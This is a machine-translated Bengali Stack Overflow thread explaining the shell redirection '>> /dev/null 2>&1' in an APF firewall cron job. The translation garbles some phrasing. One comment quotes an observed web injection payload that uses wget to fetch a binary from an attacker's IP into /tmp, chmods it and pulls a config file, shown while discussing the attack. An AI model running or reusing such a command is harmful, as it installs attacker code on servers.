/ Dev / নাল 2> & 1 কী?


237

আমি কোডটির এই অংশটি /etc/cron.daily/apf এ পেয়েছি

#!/bin/bash  
/etc/apf/apf -f >> /dev/null 2>&1  
/etc/apf/apf -s >> /dev/null 2>&1  

এটি ফায়ারওয়াল ফ্লাশ করছে এবং পুনরায় লোড করছে।
আমি >> /dev/null 2>&1অংশটি বুঝতে পারি না ।

ক্রোনটিতে এটি থাকার উদ্দেশ্য কী? এটি আমার ফায়ারওয়াল বিধিগুলিকে অগ্রাহ্য করছে। আমি কি এই ক্রোন কাজটি নিরাপদে সরাতে পারি?


1
এফওয়াইআই: প্রক্রিয়াটি নিঃশব্দ করার একটি ছোট উপায় >&- 2>&-
জাজ

22
@ জোশ: কেন তারা ইতিমধ্যে যে জিনিসগুলিকে আরও গুপ্ত করে তোলে?
এন্ডোলিথ

4
@ জোশ এটি সম্পর্কিত এফডি বন্ধ করে দেয়, যা প্রোগ্রামগুলি বাতিল করতে পারে।
glglgl

1
হয় 2>&1 > /dev/nullহিসাবে একই > /dev/null 2>&1 ? এটা আমার কাছে আরও স্বাভাবিক মনে হচ্ছে ...
এডেলানস

6
@ এডেলানস নং এইভাবে স্টাডারকে স্টডআউটে পুনঃনির্দেশনা দেয় তবে তারপরে কেবলমাত্র মূল /dev/nullস্টডআউটটি স্টার্ডারে এখনও আউটপুট হবে। Gist.github.com/zigg/344361751c0110419b0f
zigg

উত্তর:


354

>> /dev/nullস্ট্যান্ডার্ড আউটপুট ( stdout) এতে পুনর্নির্দেশ করে /dev/nullযা এটিকে বাতিল করে।

(দেখে >>মনে হচ্ছে এটি অতিমাত্রায় প্রযোজ্য, যেহেতু >>সংযোজন করার >অর্থ ছাঁটাই করা এবং লেখার অর্থ এবং সংযোজন বা লেখার /dev/nullএকই নেট প্রভাব রয়েছে। আমি সাধারণত >সে কারণেই ব্যবহার করি ))

2>&1স্ট্যান্ডার্ড ত্রুটি ( 2) কে স্ট্যান্ডার্ড আউটপুট ( 1) এ পুনঃনির্দেশ করে , যা পরে এটি এড়িয়ে যায় পাশাপাশি স্ট্যান্ডার্ড আউটপুট ইতিমধ্যে পুনঃনির্দেশিত হয়েছে।


7
&প্রতীকটি সেখানে কী নির্দেশ করে 2>&1?
কেউ

17
& একটি ফাইল বর্ণনাকারী নির্দেশ করে। সাধারণত 3 ফাইল বর্ণনাকারী থাকে - স্ট্যান্ডার্ড ইনপুট, আউটপুট এবং ত্রুটি।
টেস্টিং 123

1
@Nobody আপনার প্রশ্নের জন্য নীচের আমার উত্তর চেক stackoverflow.com/questions/10508843/what-is-dev-null-21/...
Vishrant

1
যদি & কোনও ফাইল বর্ণনাকারী নির্দেশ করে তবে 2 এর আগে কেন নেই?
ব্যবহারকারী 6708151

1
কেবলমাত্র ক্ষেত্রে অন্যরা ফাইল বর্ণনাকারীদের ব্যাখ্যা দিয়ে নীচের উত্তরগুলি না পড়েন:When redirecting data streams, & means whatever follows is a file descriptor, not a filename.
এলিসিয়ামপ্লেইন

199

আসুন বিরতি >> /dev/null 2>&1অংশে বিবৃতি:


পর্ব 1: >> আউটপুট পুনঃনির্দেশ

এটি প্রোগ্রামের আউটপুটটিকে পুনর্নির্দেশ করতে এবং ফাইলের শেষে আউটপুট সংযোজন করতে ব্যবহৃত হয়। আরও ...


পার্ট 2: /dev/null বিশেষ ফাইল

এটি সিউডো-ডিভাইসগুলির একটি বিশেষ ফাইল

কমান্ড ls -l /dev/nullআপনাকে এই ফাইলটির বিশদ দেবে:

crw-rw-rw-. 1 root root 1, 3 Mar 20 18:37 /dev/null

আপনি পালন করেছেন crw? যার অর্থ এটি সিউডো-ডিভাইস ফাইল যা চরিত্র-বিশেষ-ফাইল ধরণের যা সিরিয়াল অ্যাক্সেস সরবরাহ করে।

/dev/nullসমস্ত ইনপুট গ্রহণ করে এবং বাতিল করে দেয়; কোনও আউটপুট উত্পাদন করে না (সর্বদা একটি পঠনের শেষে ফাইলের শেষের ইঙ্গিত দেয়)। তথ্যসূত্র: উইকিপিডিয়া


পার্ট 3: 2>&1 ফাইল বর্ণনাকারী

আপনি যখনই কোনও প্রোগ্রাম সম্পাদন করেন, অপারেটিং সিস্টেমটি সর্বদা তিনটি ফাইল, স্ট্যান্ডার্ড ইনপুট, স্ট্যান্ডার্ড আউটপুট এবং স্ট্যান্ডার্ড ত্রুটি খোলে যেহেতু আমরা জানি যখনই কোনও ফাইল খোলা হয়, অপারেটিং সিস্টেম ( কার্নেল থেকে ) একটি ফাইল বর্ণনাকারী নামক একটি অ-নেতিবাচক পূর্ণসংখ্যার ফিরিয়ে দেয় । এই ফাইলগুলির জন্য ফাইল বর্ণনাকারী যথাক্রমে 0, 1 এবং 2 হয়।

সুতরাং 2>&1সহজভাবে স্ট্যান্ডার্ড আউটপুটে স্ট্যান্ডার্ড ত্রুটি পুনর্নির্দেশ বলে।

& মানে যা কিছু অনুসরণ করে তা ফাইলের নাম নয়, কোনও ফাইলের নাম।

সংক্ষেপে, এই কমান্ডটি ব্যবহার করে আপনি আপনার প্রোগ্রামটিকে বলছেন যে মৃত্যুদণ্ড কার্যকর করার সময় চিৎকার করবেন না।

ব্যবহারের গুরুত্ব কী 2>&1?

আপনি যদি কোনও আউটপুট উত্পাদন করতে না চান, এমনকি টার্মিনালে উত্পাদিত কিছু ত্রুটির ক্ষেত্রেও। আরও স্পষ্টভাবে ব্যাখ্যা করতে, আসুন নিম্নলিখিত উদাহরণটি বিবেচনা করুন:

$ ls -l > /dev/null

উপরের কমান্ডের জন্য, টার্মিনালে কোনও আউটপুট প্রিন্ট করা হয়নি, তবে এই আদেশটি যদি ত্রুটি সৃষ্টি করে:

$ ls -l file_doesnot_exists > /dev/null
ls: cannot access file_doesnot_exists: No such file or directory

আমি আউটপুটটিতে পুনর্নির্দেশ দিচ্ছি /dev/null, এটি টার্মিনালে মুদ্রিত হয়। এটি কারণ আমরা ত্রুটি আউটপুটটিতে পুনর্নির্দেশ করছি না /dev/null, সুতরাং ত্রুটি আউটপুটটিকেও পুনর্নির্দেশের জন্য এটি যুক্ত করতে হবে 2>&1:

$ ls -l file_doesnot_exists > /dev/null 2>&1

2
ভালো উদাহরণ! জানেন না '>' এর আগে 'STDERR' পুনর্নির্দেশ করবে না।
miao.wang

সুন্দরভাবে ব্যাখ্যা করা হয়েছে! খুবই তথ্যবহুল. ধন্যবাদ। আমি সম্প্রতি যে ওয়েব আক্রমণটি দেখেছি তা বুঝতে এটি আমাকে সহায়তা করবে। আক্রমণকারী POST অনুরোধের মাধ্যমে কিছু দূষিত কোড ইনজেকশন দিচ্ছে যার উপরে কোডের টুকরো রয়েছে।
সোহেল পাঠান

1
? @Vishrant ইঞ্জেকটেড কোড মত হল: মন্তব্যগুলি পোস্ট / ব্যবহারকারী / পাসওয়ার্ড নাম [% 23post_render] [] = সিস্টেম & নাম [% 23markup] = সিডি + + / tmp -র পরিবর্তে; wget হয় + + -O + + xm111 + + xxx.xxx.xxx.xxx/xm111;chmod+777+ xm111; উইজেট + -ओ + কনফিগারেশন.জসন + http: /… > / dev / নাল 2> & 1 এবং HTTP / 1.1 xxx.xxx.xxx.xxx আক্রমণকারীদের আইপি এবং এটি অনেকগুলি সাইটে আপত্তিজনক হিসাবে তালিকাভুক্তও রয়েছে। প্রথম এবং সর্বাগ্রে প্রতিরোধমূলক পদক্ষেপ হ'ল ফায়ারওয়ালে আইপি এবং সেই সাথে আইপিগুলির ধরণ block আক্রমণ পৃষ্ঠাটির লোডিংয়ের তৃতীয় পক্ষের ওয়েবসাইটে পুনঃনির্দেশ করা হয়েছিল। অ্যাপাচি সার্ভার লগ সন্দেহজনক আইপি এবং অনুরোধ দেখানো হয়েছে।
সোহেল পাঠান

5
আমি কেবল ভাবছিলাম যে আমরা 2 এর আগে '&' ব্যবহার করছি না কেন? কেউ কি আমার সন্দেহ দূর করতে পারেন?
স্নেহাশীষ কর্মকার

1
@ স্নেহাশীষ্মর্মার একটি বৈধ প্রশ্ন। আমি বিশ্বাস করি যে ওএস বুঝতে পারার পক্ষে যথেষ্ট স্মার্ট যে প্রথম যুক্তিটি একটি ফাইল বর্ণনাকারী হবে তবে >এটি একটি পুনর্নির্দেশ অপারেটর, যা যা যা পুনঃনির্দেশ অপারেটরটি অনুসরণ করে তার &আগে কোনও ফাইলের অবস্থান হিসাবে প্রত্যাশিত যা 1ইঙ্গিত করে যে এটি কোনও ফাইল নয় যেখানে অ্যাপ্লিকেশনটিকে আউটপুট পুনঃনির্দেশ করতে হবে তবে একটি ফাইল বর্ণনাকারী। যদি কেউ এই মন্তব্যটির আরও বিশদ যুক্ত করতে পারে তবে আমি প্রশংসা করব।
ভিশ্রান্ট

58

নিঃশব্দে একটি প্রোগ্রাম চালানো, এবং এর সমস্ত আউটপুট আড়াল করার উপায়।

/dev/nullএটি একটি বিশেষ ফাইল সিস্টেম অবজেক্ট যা এতে লিখিত সমস্ত কিছুই বাতিল করে দেয়। এতে একটি স্ট্রিম পুনঃনির্দেশ করা মানে আপনার প্রোগ্রামের আউটপুটটি লুকানো।

2>&1অংশ মানে হলো "আউটপুট স্ট্রীমে ত্রুটি প্রবাহ পুনর্নির্দেশ", সুতরাং যখন আপনি আউটপুট প্রবাহ পুনর্নির্দেশ, ত্রুটি প্রবাহ পাশাপাশি পুনঃনির্দেশিত পায়। এমনকি যদি আপনার প্রোগ্রামটি stderrএখন লিখতে থাকে তবে সেই আউটপুটটিও বাদ দেওয়া হবে।


37
আসলে, 2>&1আসলে পুনর্নির্দেশ stderrকরে stdout। আপনি এবং যা দাবি করেছেন তার মধ্যে পার্থক্যটি পুনঃনির্দেশগুলির ক্রমটি অদলবদলের মাধ্যমে সর্বোত্তম চিত্রিত হয়েছে 2>&1 >/dev/null
জিগগ

15

/dev/null এটি একটি স্ট্যান্ডার্ড ফাইল যা আপনার এতে লেখা সমস্ত কিছু বাতিল করে তবে রিপোর্টটি লেখার কাজটি সফল হয়েছে।

1এটি স্ট্যান্ডার্ড আউটপুট এবং 2এটি স্ট্যান্ডার্ড ত্রুটি।

2>&1স্ট্যান্ডার্ড ত্রুটিটিকে স্ট্যান্ডার্ড আউটপুটে পুনর্নির্দেশ করে। &1ফাইল বর্ণনাকারী (স্ট্যান্ডার্ড আউটপুট) নির্দেশ করে, অন্যথায় (আপনি যদি কেবলমাত্র ব্যবহার করেন 1) আপনি নামক কোনও ফাইলে স্ট্যান্ডার্ড ত্রুটি পুনর্নির্দেশ করবেন 1[any command] >>/dev/null 2>&1সমস্ত স্ট্যান্ডার্ড ত্রুটিটিকে স্ট্যান্ডার্ড আউটপুটে পুনর্নির্দেশ করে এবং এগুলি সমস্ত লিখে দেয় /dev/null


7

আমি >> /dev/null 2>&1একটি নীরব ক্রোনজব জন্য ব্যবহার করি । একটি ক্রোনজব কাজটি করবে তবে আমার ইমেলটিতে কোনও প্রতিবেদন প্রেরণ করবে না।

যতদূর আমি জানি, সরাবেন না /dev/null। এটা তোলে দরকারী, বিশেষত যখন আপনি চালাতে cPanel , এটা নিক্ষেপ-দূরে cronjob রিপোর্টের জন্য ব্যবহার করা যাবে।


2

অন্যদের দ্বারা বর্ণিত হিসাবে, / dev / নালকে লেখা কোনও প্রোগ্রামের আউটপুটকে বাদ দেয়। সাধারণত ক্রোন ক্রোনজব দিয়ে শুরু হওয়া প্রক্রিয়া থেকে প্রতিটি আউটপুটের জন্য ইমেল প্রেরণ করে। সুতরাং / dev / নালকে আউটপুট লিখে আপনি স্প্রেড হওয়া আটকাবেন যদি আপনি ক্রোনটিতে আপনার ঠিকানা নির্দিষ্ট করে থাকেন।


0

সম্পাদনা করুন /etc/conf.apf। সেট DEVEL_MODE="0"DEVEL_MODEসেটটি 15 মিনিটের পরে এপিএফ থামাতে ক্রোন জব যুক্ত করবে।

আমাদের সাইট ব্যবহার করে, আপনি স্বীকার করেছেন যে আপনি আমাদের কুকি নীতি এবং গোপনীয়তা নীতিটি পড়েছেন এবং বুঝতে পেরেছেন ।
Licensed under cc by-sa 3.0 with attribution required.